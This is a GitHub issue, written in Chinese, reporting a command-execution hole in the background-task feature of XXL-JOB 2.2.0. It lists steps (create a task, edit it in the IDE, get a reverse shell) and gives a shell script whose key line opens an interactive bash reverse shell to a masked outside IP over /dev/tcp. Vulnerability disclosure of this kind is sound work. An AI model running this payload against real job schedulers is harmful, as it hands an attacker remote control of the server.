Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

后台任务存在命令执行漏洞 #2979

Open
badboycxcc opened this issue Sep 13, 2022 · 0 comments
Open

后台任务存在命令执行漏洞 #2979

badboycxcc opened this issue Sep 13, 2022 · 0 comments

Comments

@badboycxcc
Copy link

后台任务存在命令执行漏洞

Which version of XXL-JOB do you using?

XXL-JOB 2.2.0

利用流程

新建任务

截屏2022-09-13 下午7 26 54

选择IDE 编辑

截屏2022-09-13 下午7 27 05

反弹shell

截屏2022-09-13 下午7 27 38

Code.

#!/bin/bash
echo "xxl-job: hello shell"

echo "脚本位置:$0"
echo "任务参数:$1"
echo "分片序号 = $2"
echo "分片总数 = $3"

echo "`bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/15326 <&1'`"
echo "Good bye!"
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant